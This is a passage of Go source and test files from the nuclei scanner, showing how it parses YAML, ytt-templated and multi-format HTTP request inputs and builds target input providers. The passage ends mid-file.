    "path": "pkg/input/formats/testdata/ytt/ytt-profile.yaml",
    "content": "list: pkg/input/formats/testdata/ytt/ginandjuice.ytt.yaml\ninput-mode: yaml\ntemplates: \n  - integration_tests/fuzz/fuzz-body.yaml\nvar:\n  - debug=true\n  - bar=bar\nvars-text-templating: true\nvar-file-paths:\n  - pkg/input/formats/testdata/ytt/ytt-vars.yaml\ndast: true "
  },
  {
    "path": "pkg/input/formats/testdata/ytt/ytt-vars.yaml",
    "content": "token: foobar \nfoo: \n  bar: baz"
  },
  {
    "path": "pkg/input/formats/yaml/multidoc.go",
    "content": "package yaml\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\tYamlUtil \"gopkg.in/yaml.v3\"\n)\n\n// YamlMultiDocFormat is a Yaml format parser for nuclei\n// input HTTP requests with multiple documents separated by ---\ntype YamlMultiDocFormat struct {\n\topts formats.InputFormatOptions\n}\n\n// New creates a new JSON format parser\nfunc New() *YamlMultiDocFormat {\n\treturn &YamlMultiDocFormat{}\n}\n\nvar _ formats.Format = &YamlMultiDocFormat{}\n\n// proxifyRequest is a request for proxify\ntype proxifyRequest struct {\n\tURL     string `json:\"url\"`\n\tRequest struct {\n\t\tHeader map[string]string `json:\"header\"`\n\t\tBody   string            `json:\"body\"`\n\t\tRaw    string            `json:\"raw\"`\n\t} `json:\"request\"`\n}\n\n// Name returns the name of the format\nfunc (j *YamlMultiDocFormat) Name() string {\n\treturn \"yaml\"\n}\n\nfunc (j *YamlMultiDocFormat) SetOptions(options formats.InputFormatOptions) {\n\tj.opts = options\n}\n\n// Parse parses the input and calls the provided callback\n// function for each RawRequest it discovers.\nfunc (j *YamlMultiDocFormat) Parse(input io.Reader, resultsCb formats.ParseReqRespCallback, filePath string) error {\n\tfinalInput := input\n\n\t// Apply text templating if enabled\n\tif j.opts.VarsTextTemplating {\n\t\tdata, err := io.ReadAll(input)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not read input\")\n\t\t}\n\t\ttpl := []string{string(data)}\n\t\tdvs := mapToKeyValueSlice(j.opts.Variables)\n\t\tfinalData, err := ytt(tpl, dvs, j.opts.VarsFilePaths)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not apply ytt templating\")\n\t\t}\n\t\tfinalInput = bytes.NewReader(finalData)\n\t}\n\n\tdecoder := YamlUtil.NewDecoder(finalInput)\n\tfor {\n\t\tvar request proxifyRequest\n\t\tif err := decoder.Decode(&request); err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn errors.Wrap(err, \"could not decode yaml file\")\n\t\t}\n\n\t\traw := request.Request.Raw\n\t\tif raw == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\trawRequest, err := types.ParseRawRequestWithURL(raw, request.URL)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"multidoc-yaml: Could not parse raw request %s: %s\", request.URL, err)\n\t\t\tcontinue\n\t\t}\n\t\tresultsCb(rawRequest)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/input/formats/yaml/multidoc_test.go",
    "content": "package yaml\n\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestYamlFormatterParse(t *testing.T) {\n\tformat := New()\n\n\tproxifyInputFile := \"../testdata/ginandjuice.proxify.yaml\"\n\n\texpectedUrls := []string{\n\t\t\"https://ginandjuice.shop/blog/post?postId=3&source=proxify\",\n\t\t\"https://ginandjuice.shop/users/3\",\n\t}\n\n\tfile, err := os.Open(proxifyInputFile)\n\trequire.Nilf(t, err, \"error opening proxify input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tvar urls []string\n\terr = format.Parse(file, func(request *types.RequestResponse) bool {\n\t\turls = append(urls, request.URL.String())\n\t\treturn false\n\t}, proxifyInputFile)\n\trequire.Nilf(t, err, \"error parsing yaml file: %v\", err)\n\trequire.Len(t, urls, len(expectedUrls), \"invalid number of urls\")\n\trequire.ElementsMatch(t, urls, expectedUrls, \"invalid urls\")\n}\n\nfunc TestYamlFormatterParseWithVariables(t *testing.T) {\n\tformat := New()\n\tproxifyYttFile := \"../testdata/ytt/ginandjuice.ytt.yaml\"\n\n\texpectedUrls := []string{\n\t\t\"https://ginandjuice.shop/users/3\",\n\t}\n\n\tformat.SetOptions(formats.InputFormatOptions{\n\t\tVarsTextTemplating: true,\n\t\tVariables: map[string]interface{}{\n\t\t\t\"foo\": \"catalog\",\n\t\t\t\"bar\": \"product\",\n\t\t},\n\t})\n\tfile, err := os.Open(proxifyYttFile)\n\trequire.Nilf(t, err, \"error opening proxify ytt input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tvar urls []string\n\terr = format.Parse(file, func(request *types.RequestResponse) bool {\n\t\turls = append(urls, request.URL.String())\n\t\texpectedRaw := `POST /users/3 HTTP/1.1\nHost: ginandjuice.shop\nAuthorization: Bearer 3x4mpl3t0k3n\nAccept-Encoding: gzip\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\n\nfoo=\"catalog\"&bar=product&debug=false`\n\t\tnormalised := strings.ReplaceAll(request.Request.Raw, \"\\r\\n\", \"\\n\")\n\t\trequire.Equal(t, expectedRaw, strings.TrimSuffix(normalised, \"\\n\"), \"request raw does not match expected value\")\n\n\t\treturn false\n\t}, proxifyYttFile)\n\n\trequire.Nilf(t, err, \"error parsing yaml file: %v\", err)\n\trequire.Len(t, urls, len(expectedUrls), \"invalid number of urls\")\n\trequire.ElementsMatch(t, urls, expectedUrls, \"invalid urls\")\n\n}\n"
  },
  {
    "path": "pkg/input/formats/yaml/ytt.go",
    "content": "package yaml\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\tyttcmd \"carvel.dev/ytt/pkg/cmd/template\"\n\tyttui \"carvel.dev/ytt/pkg/cmd/ui\"\n\tyttfiles \"carvel.dev/ytt/pkg/files\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nfunc ytt(tpl, dvs []string, varFiles []string) ([]byte, error) {\n\t// create and invoke ytt \"template\" command\n\ttemplatingOptions := yttcmd.NewOptions()\n\n\tinput, err := templatesAsInput(tpl...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(varFiles) > 0 {\n\t\t// Load vaarFiles into the templating options.\n\t\ttemplatingOptions.DataValuesFlags.FromFiles = varFiles\n\t}\n\n\t// equivalent to `--data-value-yaml`\n\ttemplatingOptions.DataValuesFlags.KVsFromYAML = dvs\n\n\t// for in-memory use, pipe output to \"/dev/null\"\n\tnoopUI := yttui.NewCustomWriterTTY(false, noopWriter{}, noopWriter{})\n\n\t// Evaluate the template given the configured data values...\n\toutput := templatingOptions.RunWithFiles(input, noopUI)\n\tif output.Err != nil {\n\t\treturn nil, output.Err\n\t}\n\n\treturn output.DocSet.AsBytes()\n}\n\n// templatesAsInput conveniently wraps one or more strings, each in a files.File, into a template.Input.\nfunc templatesAsInput(tpl ...string) (yttcmd.Input, error) {\n\tvar files []*yttfiles.File\n\tfor i, t := range tpl {\n\t\t// to make this less brittle, you'll probably want to use well-defined names for `path`, here, for each input.\n\t\t// this matters when you're processing errors which report based on these paths.\n\t\tfile, err := yttfiles.NewFileFromSource(yttfiles.NewBytesSource(fmt.Sprintf(\"tpl%d.yml\", i), []byte(t)))\n\t\tif err != nil {\n\t\t\treturn yttcmd.Input{}, err\n\t\t}\n\n\t\tfiles = append(files, file)\n\t}\n\n\treturn yttcmd.Input{Files: files}, nil\n}\n\nfunc mapToKeyValueSlice(m map[string]interface{}) []string {\n\tvar result []string\n\tfor k, v := range m {\n\t\ty, _ := yaml.Marshal(v)\n\t\tresult = append(result, fmt.Sprintf(\"%s=%s\", k, strings.TrimSpace(string(y))))\n\t}\n\treturn result\n}\n\ntype noopWriter struct{}\n\nfunc (w noopWriter) Write(data []byte) (int, error) { return len(data), nil }\n"
  },
  {
    "path": "pkg/input/provider/chunked.go",
    "content": "package provider\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n)\n\n// TODO: Implement ChunkedInputProvider\n// 1. Lazy loading of input targets\n// 2. Load and execute in chunks that fit in memory\n// 3. Eliminate use of HybridMap since it performs worst due to marshal/unmarshal overhead\n\n// ChunkedInputProvider is an input providing chunked targets instead of loading all at once\ntype ChunkedInputProvider interface {\n\t// Count returns total targets for input provider\n\tCount() int64\n\t// Iterate over all inputs in order\n\tIterate(callback func(value *contextargs.MetaInput) bool)\n\t// Set adds item to input provider\n\tSet(value string)\n\t// SetWithProbe adds item to input provider with http probing\n\tSetWithProbe(value string, probe types.InputLivenessProbe) error\n\t// SetWithExclusions adds item to input provider if it doesn't match any of the exclusions\n\tSetWithExclusions(value string) error\n\t// InputType returns the type of input provider\n\tInputType() string\n\t// Switches to the next chunk/batch of input\n\tNextChunk() bool\n}\n"
  },
  {
    "path": "pkg/input/provider/http/multiformat.go",
    "content": "package http\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/burp\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/json\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/yaml\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n)\n\n// HttpMultiFormatOptions contains options for the http input provider\ntype HttpMultiFormatOptions struct {\n\t// Options for the http input provider\n\tOptions formats.InputFormatOptions\n\t// InputFile is the file containing the input\n\tInputFile string\n\t// InputMode is the mode of input\n\tInputMode string\n\n\t// optional input reader\n\tInputContents string\n}\n\n// HttpInputProvider implements an input provider for nuclei that loads\n// inputs from multiple formats like burp, openapi, postman,proxify, etc.\ntype HttpInputProvider struct {\n\tformat    formats.Format\n\tinputData []byte\n\tinputFile string\n\tcount     int64\n}\n\n// NewHttpInputProvider creates a new input provider for nuclei from a file\n// or an input string\n//\n// The first preference is given to input file if provided\n// otherwise it will use the input string\nfunc NewHttpInputProvider(opts *HttpMultiFormatOptions) (*HttpInputProvider, error) {\n\tvar format formats.Format\n\tfor _, provider := range providersList {\n\t\tif provider.Name() == opts.InputMode {\n\t\t\tformat = provider\n\t\t}\n\t}\n\tif format == nil {\n\t\treturn nil, errors.Errorf(\"invalid input mode %s\", opts.InputMode)\n\t}\n\tformat.SetOptions(opts.Options)\n\t// Do a first pass over the input to identify any errors\n\t// and get the count of the input file as well\n\tcount := int64(0)\n\tvar inputFile *os.File\n\tvar inputReader io.Reader\n\tif opts.InputFile != \"\" {\n\t\tfile, err := os.Open(opts.InputFile)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not open input file\")\n\t\t}\n\t\tinputFile = file\n\t\tinputReader = file\n\t} else {\n\t\tinputReader = strings.NewReader(opts.InputContents)\n\t}\n\tdefer func() {\n\t\tif inputFile != nil {\n\t\t\t_ = inputFile.Close()\n\t\t}\n\t}()\n\n\tdata, err := io.ReadAll(inputReader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not read input file\")\n\t}\n\tif len(data) == 0 {\n\t\treturn nil, errors.New(\"input file is empty\")\n\t}\n\n\tparseErr := format.Parse(bytes.NewReader(data), func(request *types.RequestResponse) bool {\n\t\tcount++\n\t\treturn false\n\t}, opts.InputFile)\n\tif parseErr != nil {\n\t\treturn nil, errors.Wrap(parseErr, \"could not parse input file\")\n\t}\n\treturn &HttpInputProvider{format: format, inputData: data, inputFile: opts.InputFile, count: count}, nil\n}\n\n// Count returns the number of items for input provider\nfunc (i *HttpInputProvider) Count() int64 {\n\treturn i.count\n}\n\n// Iterate over all inputs in order\nfunc (i *HttpInputProvider) Iterate(callback func(value *contextargs.MetaInput) bool) {\n\terr := i.format.Parse(bytes.NewReader(i.inputData), func(request *types.RequestResponse) bool {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tmetaInput.ReqResp = request\n\t\tmetaInput.Input = request.URL.String()\n\t\treturn callback(metaInput)\n\t}, i.inputFile)\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"Could not parse input file while iterating: %s\\n\", err)\n\t}\n}\n\n// Set adds item to input provider\n// No-op for this provider\nfunc (i *HttpInputProvider) Set(_ string, value string) {}\n\n// SetWithProbe adds item to input provider with http probing\n// No-op for this provider\nfunc (i *HttpInputProvider) SetWithProbe(_ string, value string, probe types.InputLivenessProbe) error {\n\treturn nil\n}\n\n// SetWithExclusions adds item to input provider if it doesn't match any of the exclusions\n// No-op for this provider\nfunc (i *HttpInputProvider) SetWithExclusions(_ string, value string) error {\n\treturn nil\n}\n\n// InputType returns the type of input provider\nfunc (i *HttpInputProvider) InputType() string {\n\treturn \"MultiFormatInputProvider\"\n}\n\n// Close closes the input provider and cleans up any resources\n// No-op for this provider\nfunc (i *HttpInputProvider) Close() {}\n\n// Supported Providers\nvar providersList = []formats.Format{\n\tburp.New(),\n\tjson.New(),\n\tyaml.New(),\n\topenapi.New(),\n\tswagger.New(),\n}\n\n// SupportedFormats returns the list of supported formats in comma-separated\n// manner\nfunc SupportedFormats() string {\n\tvar formats []string\n\tfor _, provider := range providersList {\n\t\tformats = append(formats, provider.Name())\n\t}\n\treturn strings.Join(formats, \", \")\n}\n"
  },
  {
    "path": "pkg/input/provider/interface.go",
    "content": "package provider\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tconfigTypes \"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\tErrNotImplemented = errkit.New(\"provider does not implement method\")\n\tErrInactiveInput  = fmt.Errorf(\"input is inactive\")\n)\n\nconst (\n\tMultiFormatInputProvider = \"MultiFormatInputProvider\"\n\tListInputProvider        = \"ListInputProvider\"\n\tSimpleListInputProvider  = \"SimpleInputProvider\"\n)\n\n// IsErrNotImplemented checks if an error is a not implemented error\nfunc IsErrNotImplemented(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tif stringsutil.ContainsAll(err.Error(), \"provider\", \"does not implement\") {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// Validate all Implementations\nvar (\n\t// SimpleInputProvider is more like a No-Op and returns given list of urls as input\n\t_ InputProvider = &SimpleInputProvider{}\n\t// HttpInputProvider provides support for formats that contain complete request/response\n\t// like burp, openapi, postman,proxify, etc.\n\t_ InputProvider = &http.HttpInputProvider{}\n\t// ListInputProvider provides support for simple list of urls or files etc\n\t_ InputProvider = &list.ListInputProvider{}\n)\n\n// InputProvider is unified input provider interface that provides\n// processed inputs to nuclei by parsing and providing different\n// formats such as list,openapi,postman,proxify,burp etc.\ntype InputProvider interface {\n\t// Count returns total targets for input provider\n\tCount() int64\n\t// Iterate over all inputs in order\n\tIterate(callback func(value *contextargs.MetaInput) bool)\n\t// Set adds item to input provider\n\tSet(executionId string, value string)\n\t// SetWithProbe adds item to input provider with http probing\n\tSetWithProbe(executionId string, value string, probe types.InputLivenessProbe) error\n\t// SetWithExclusions adds item to input provider if it doesn't match any of the exclusions\n\tSetWithExclusions(executionId string, value string) error\n\t// InputType returns the type of input provider\n\tInputType() string\n\t// Close the input provider and cleanup any resources\n\tClose()\n}\n\n// InputOptions contains options for input provider\ntype InputOptions struct {\n\t// Options for global config\n\tOptions *configTypes.Options\n\t// TempDir is the temporary directory for storing files\n\tTempDir string\n\t// NotFoundCallback is the callback to call when input is not found\n\t// only supported in list input provider\n\tNotFoundCallback func(template string) bool\n}\n\n// NewInputProvider creates a new input provider based on the options\n// and returns it\nfunc NewInputProvider(opts InputOptions) (InputProvider, error) {\n\t// optionally load generated vars values if available\n\tval, err := formats.ReadOpenAPIVarDumpFile()\n\tif err != nil && !errors.Is(err, formats.ErrNoVarsDumpFile) {\n\t\t// log error and continue\n\t\tgologger.Error().Msgf(\"Could not read vars dump file: %s\\n\", err)\n\t}\n\textraVars := make(map[string]interface{})\n\tif val != nil {\n\t\tfor _, v := range val.Var {\n\t\t\tv = strings.TrimSpace(v)\n\t\t\t// split into key value\n\t\t\tparts := strings.SplitN(v, \"=\", 2)\n\t\t\tif len(parts) == 2 {\n\t\t\t\textraVars[parts[0]] = parts[1]\n\t\t\t}\n\t\t}\n\t}\n\n\t// check if input provider is supported\n\tif strings.EqualFold(opts.Options.InputFileMode, \"list\") {\n\t\t// create a new list input provider\n\t\treturn list.New(&list.Options{\n\t\t\tOptions:          opts.Options,\n\t\t\tNotFoundCallback: opts.NotFoundCallback,\n\t\t})\n\t} else if len(opts.Options.Targets) > 0 &&\n\t\t(strings.EqualFold(opts.Options.InputFileMode, \"openapi\") || strings.EqualFold(opts.Options.InputFileMode, \"swagger\")) {\n\n\t\tif len(opts.Options.Targets) > 1 {\n\t\t\treturn nil, fmt.Errorf(\"only one target URL is supported in %s input mode\", opts.Options.InputFileMode)\n\t\t}\n\n\t\ttarget := opts.Options.Targets[0]\n\t\tif strings.HasPrefix(target, \"http://\") || strings.HasPrefix(target, \"https://\") {\n\t\t\tvar downloader formats.SpecDownloader\n\t\t\tvar tempFile string\n\t\t\tvar err error\n\n\t\t\t// Get HttpClient from protocolstate if available\n\t\t\tvar httpClient *retryablehttp.Client\n\t\t\tif opts.Options.ExecutionId != \"\" {\n\t\t\t\tdialers := protocolstate.GetDialersWithId(opts.Options.ExecutionId)\n\t\t\t\tif dialers != nil {\n\t\t\t\t\thttpClient = dialers.DefaultHTTPClient\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tswitch strings.ToLower(opts.Options.InputFileMode) {\n\t\t\tcase \"openapi\":\n\t\t\t\tdownloader = openapi.NewDownloader()\n\t\t\t\ttempFile, err = downloader.Download(target, opts.TempDir, httpClient)\n\t\t\tcase \"swagger\":\n\t\t\t\tdownloader = swagger.NewDownloader()\n\t\t\t\ttempFile, err = downloader.Download(target, opts.TempDir, httpClient)\n\t\t\tdefault:\n\t\t\t\treturn nil, fmt.Errorf(\"unsupported input mode: %s\", opts.Options.InputFileMode)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to download %s spec from url %s: %w\", opts.Options.InputFileMode, target, err)\n\t\t\t}\n\n\t\t\topts.Options.TargetsFilePath = tempFile\n\t\t}\n\t}\n\n\treturn http.NewHttpInputProvider(&http.HttpMultiFormatOptions{\n\t\tInputFile: opts.Options.TargetsFilePath,\n\t\tInputMode: opts.Options.InputFileMode,\n\t\tOptions: formats.InputFormatOptions{\n\t\t\tVariables:            generators.MergeMaps(extraVars, opts.Options.Vars.AsMap()),\n\t\t\tSkipFormatValidation: opts.Options.SkipFormatValidation,\n\t\t\tRequiredOnly:         opts.Options.FormatUseRequiredOnly,\n\t\t\tVarsTextTemplating:   opts.Options.VarsTextTemplating,\n\t\t\tVarsFilePaths:        opts.Options.VarsFilePaths,\n\t\t},\n\t})\n}\n\n// SupportedInputFormats returns all supported input formats of nuclei\nfunc SupportedInputFormats() string {\n\treturn \"list, \" + http.SupportedFormats()\n}\n"
  },
  {
    "path": "pkg/input/provider/list/hmap.go",
    "content": "// package list implements a hybrid hmap/filekv backed input provider\n// for nuclei that can either stream or store results using different kv stores.\npackage list\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/hmap/filekv\"\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n\t\"github.com/projectdiscovery/mapcidr/asn\"\n\tproviderTypes \"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/expand\"\n\tuncoverlib \"github.com/projectdiscovery/uncover\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\treaderutil \"github.com/projectdiscovery/utils/reader\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nconst DefaultMaxDedupeItemsCount = 10000\n\n// ListInputProvider is a hmap/filekv backed nuclei ListInputProvider provider\n// it supports list type of input ex: urls,file,stdin,uncover,etc. (i.e just url not complete request/response)\ntype ListInputProvider struct {\n\tipOptions         *ipOptions\n\tinputCount        int64\n\texcludedCount     int64\n\tdupeCount         int64\n\tskippedCount      int64\n\thostMap           *hybrid.HybridMap\n\texcludedHosts     map[string]struct{}\n\thostMapStream     *filekv.FileDB\n\thostMapStreamOnce sync.Once\n\tsync.Once\n}\n\n// Options is a wrapper around types.Options structure\ntype Options struct {\n\t// Options contains options for hmap provider\n\tOptions *types.Options\n\t// NotFoundCallback is called for each not found target\n\t// This overrides error handling for not found target\n\tNotFoundCallback func(template string) bool\n}\n\n// New creates a new hmap backed nuclei Input Provider\n// and initializes it based on the passed options Model.\nfunc New(opts *Options) (*ListInputProvider, error) {\n\toptions := opts.Options\n\n\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create temporary input file\")\n\t}\n\n\tinput := &ListInputProvider{\n\t\thostMap: hm,\n\t\tipOptions: &ipOptions{\n\t\t\tScanAllIPs: options.ScanAllIPs,\n\t\t\tIPV4:       sliceutil.Contains(options.IPVersion, \"4\"),\n\t\t\tIPV6:       sliceutil.Contains(options.IPVersion, \"6\"),\n\t\t},\n\t\texcludedHosts: make(map[string]struct{}),\n\t}\n\tif options.Stream {\n\t\tfkvOptions := filekv.DefaultOptions\n\t\tfkvOptions.MaxItems = DefaultMaxDedupeItemsCount\n\t\tif tmpFileName, err := fileutil.GetTempFileName(); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create temporary input file\")\n\t\t} else {\n\t\t\tfkvOptions.Path = tmpFileName\n\t\t}\n\t\tfkv, err := filekv.Open(fkvOptions)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create temporary unsorted input file\")\n\t\t}\n\t\tinput.hostMapStream = fkv\n\t}\n\tif initErr := input.initializeInputSources(opts); initErr != nil {\n\t\treturn nil, initErr\n\t}\n\tif input.excludedCount > 0 {\n\t\tgologger.Info().Msgf(\"Number of hosts excluded from input: %d\", input.excludedCount)\n\t}\n\tif input.dupeCount > 0 {\n\t\tgologger.Info().Msgf(\"Supplied input was automatically deduplicated (%d removed).\", input.dupeCount)\n\t}\n\tif input.skippedCount > 0 {\n\t\tgologger.Info().Msgf(\"Number of hosts skipped from input due to exclusion: %d\", input.skippedCount)\n\t}\n\treturn input, nil\n}\n\n// Count returns the input count\nfunc (i *ListInputProvider) Count() int64 {\n\treturn i.inputCount\n}\n\n// Iterate over all inputs in order\nfunc (i *ListInputProvider) Iterate(callback func(value *contextargs.MetaInput) bool) {\n\tif i.hostMapStream != nil {\n\t\ti.hostMapStreamOnce.Do(func() {\n\t\t\tif err := i.hostMapStream.Process(); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"error in stream mode processing: %s\\n\", err)\n\t\t\t}\n\t\t})\n\t}\n\tcallbackFunc := func(k, _ []byte) error {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tif err := metaInput.Unmarshal(string(k)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !callback(metaInput) {\n\t\t\treturn io.EOF\n\t\t}\n\t\treturn nil\n\t}\n\tif i.hostMapStream != nil {\n\t\t_ = i.hostMapStream.Scan(callbackFunc)\n\t} else {\n\t\ti.hostMap.Scan(callbackFunc)\n\t}\n}\n\n// Set normalizes and stores passed input values\nfunc (i *ListInputProvider) Set(executionId string, value string) {\n\tURL := strings.TrimSpace(value)\n\tif URL == \"\" {\n\t\treturn\n\t}\n\t// parse hostname if url is given\n\turlx, err := urlutil.Parse(URL)\n\tif err != nil || (urlx != nil && urlx.Host == \"\") {\n\t\tgologger.Debug().Label(\"url\").MsgFunc(func() string {\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Sprintf(\"failed to parse url %v got %v skipping ip selection\", URL, err)\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"got empty hostname for %v skipping ip selection\", URL)\n\t\t})\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tmetaInput.Input = URL\n\t\ti.setItem(metaInput)\n\t\treturn\n\t}\n\n\t// Check if input is ip or hostname\n\tif iputil.IsIP(urlx.Hostname()) {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tmetaInput.Input = URL\n\t\ti.setItem(metaInput)\n\t\treturn\n\t}\n\n\tif i.ipOptions.ScanAllIPs {\n\t\t// scan all ips\n\t\tdialers := protocolstate.GetDialersWithId(executionId)\n\t\tif dialers == nil {\n\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t}\n\n\t\tdnsData, err := dialers.Fastdialer.GetDNSData(urlx.Hostname())\n\t\tif err == nil {\n\t\t\tif (len(dnsData.A) + len(dnsData.AAAA)) > 0 {\n\t\t\t\tvar ips []string\n\t\t\t\tif i.ipOptions.IPV4 {\n\t\t\t\t\tips = append(ips, dnsData.A...)\n\t\t\t\t}\n\t\t\t\tif i.ipOptions.IPV6 {\n\t\t\t\t\tips = append(ips, dnsData.AAAA...)\n\t\t\t\t}\n\t\t\t\tfor _, ip := range ips {\n\t\t\t\t\tif ip == \"\" {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tmetaInput := contextargs.NewMetaInput()\n\t\t\t\t\tmetaInput.Input = URL\n\t\t\t\t\tmetaInput.CustomIP = ip\n\t\t\t\t\ti.setItem(metaInput)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tgologger.Debug().Msgf(\"scanAllIps: no ip's found reverting to default\")\n\t\t\t}\n\t\t} else {\n\t\t\t// failed to scanallips falling back to defaults\n\t\t\tgologger.Debug().Msgf(\"scanAllIps: dns resolution failed: %v\", err)\n\t\t}\n\t}\n\n\tips := []string{}\n\t// only scan the target but ipv6 if it has one\n\tif i.ipOptions.IPV6 {\n\t\tdialers := protocolstate.GetDialersWithId(executionId)\n\t\tif dialers == nil {\n\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t}\n\n\t\tdnsData, err := dialers.Fastdialer.GetDNSData(urlx.Hostname())\n\t\tif err == nil && len(dnsData.AAAA) > 0 {\n\t\t\t// pick/ prefer 1st\n\t\t\tips = append(ips, dnsData.AAAA[0])\n\t\t} else {\n\t\t\tgologger.Warning().Msgf(\"target does not have ipv6 address falling back to ipv4 %v\\n\", err)\n\t\t}\n\t}\n\tif i.ipOptions.IPV4 {\n\t\t// if IPV4 is enabled do not specify ip let dialer handle it\n\t\tips = append(ips, \"\")\n\t}\n\n\tfor _, ip := range ips {\n\t\tmetaInput := contextargs.NewMetaInput()\n\t\tif ip != \"\" {\n\t\t\tmetaInput.Input = URL\n\t\t\tmetaInput.CustomIP = ip\n\t\t\ti.setItem(metaInput)\n\t\t} else {\n\t\t\tmetaInput.Input = URL\n\t\t\ti.setItem(metaInput)\n\t\t}\n\t}\n}\n\n// SetWithProbe only sets the input if it is live\nfunc (i *ListInputProvider) SetWithProbe(executionId string, value string, probe providerTypes.InputLivenessProbe) error {\n\tprobedValue, err := probe.ProbeURL(value)\n\tif err != nil {\n\t\treturn err\n\t}\n\ti.Set(executionId, probedValue)\n\treturn nil\n}\n\n// 